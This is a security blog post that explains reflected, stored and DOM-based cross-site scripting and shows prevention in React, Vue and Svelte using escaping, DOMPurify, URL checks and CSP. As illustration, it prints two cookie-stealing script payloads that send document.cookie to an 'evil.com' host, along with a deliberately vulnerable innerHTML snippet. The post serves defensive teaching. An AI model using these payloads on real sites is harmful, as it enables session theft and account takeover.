Vulnerabilities

XSS Attacks Explained: Prevention for React, Vue, and Svelte

Cross-site scripting (XSS) remains a top web vulnerability. Learn how XSS works and how modern frameworks protect you—when used correctly.

Hacker Bot Team

Security Team

Cross-site scripting attack diagram

Cross-Site Scripting (XSS) has been in the OWASP Top 10 for over two decades. Modern frameworks help, but they can’t save you if you don’t understand the threat.

What is XSS?

XSS occurs when an attacker injects malicious scripts into content that other users view. The browser trusts the script because it appears to come from your site.

The Damage

A successful XSS attack can:

  • Steal session cookies
  • Capture keystrokes
  • Redirect users to malicious sites
  • Deface your website
  • Spread malware

Types of XSS

Reflected XSS

The malicious script comes from the current request:

https://yoursite.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Stored XSS

The malicious script is stored in your database and served to every user:

// Attacker posts comment with script
{
  author: "hacker",
  comment: "<script>fetch('https://evil.com?c='+document.cookie)</script>"
}

DOM-based XSS

The vulnerability exists in client-side code:

// Vulnerable: Using innerHTML with URL content
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

Framework-Specific Prevention

React

React escapes values by default:

// SAFE - React escapes this
const userInput = '<script>alert("xss")</script>';
return <div>{userInput}</div>;
// Renders as text, not as script

Danger zones:

// DANGEROUS - bypasses React's protection
<div dangerouslySetInnerHTML={{__html: userInput}} />

// DANGEROUS - dynamic href with javascript:
<a href={userInput}>Click me</a>
// If userInput = "javascript:alert('xss')"

Safe patterns:

// Validate URLs
const isSafeUrl = (url) => {
  try {
    const parsed = new URL(url);
    return ['http:', 'https:'].includes(parsed.protocol);
  } catch {
    return false;
  }
};

// Sanitize HTML when you must render it
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userInput)}} />

Vue

Vue 3 also escapes by default:

<!-- SAFE - Vue escapes this -->
<template>
  <div>{{ userInput }}</div>
</template>

Danger zones:

<!-- DANGEROUS - renders HTML directly -->
<div v-html="userInput"></div>

<!-- DANGEROUS - dynamic attribute binding -->
<a :href="userInput">Link</a>

Safe patterns:

<script setup>
import DOMPurify from 'dompurify';

const safeHtml = computed(() => DOMPurify.sanitize(userInput.value));
</script>

<template>
  <div v-html="safeHtml"></div>
</template>

Svelte

Svelte escapes by default too:

<!-- SAFE - Svelte escapes this -->
<p>{userInput}</p>

Danger zones:

<!-- DANGEROUS - renders raw HTML -->
{@html userInput}

<!-- DANGEROUS - dynamic URLs -->
<a href={userInput}>Link</a>

Safe patterns:

<script>
  import DOMPurify from 'dompurify';
  
  $: safeHtml = DOMPurify.sanitize(userInput);
</script>

{@html safeHtml}

Content Security Policy (CSP)

CSP is your second line of defense. It tells browsers which sources of content are trusted:

<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
">

A strict CSP blocks inline scripts, stopping most XSS attacks even if your code is vulnerable.

The Complete Defense

  1. Let your framework escape output (don’t bypass it)
  2. Sanitize when you must render HTML (use DOMPurify)
  3. Validate URLs before rendering links
  4. Implement CSP as defense in depth
  5. Test regularly with automated scanning

Conclusion

Modern frameworks have made XSS harder to introduce accidentally, but they haven’t eliminated it. Understand the danger zones in your framework, sanitize when you must render HTML, and implement CSP as a safety net.


Hacker Bot tests for XSS vulnerabilities across your entire application. See what your framework missed.

Related Articles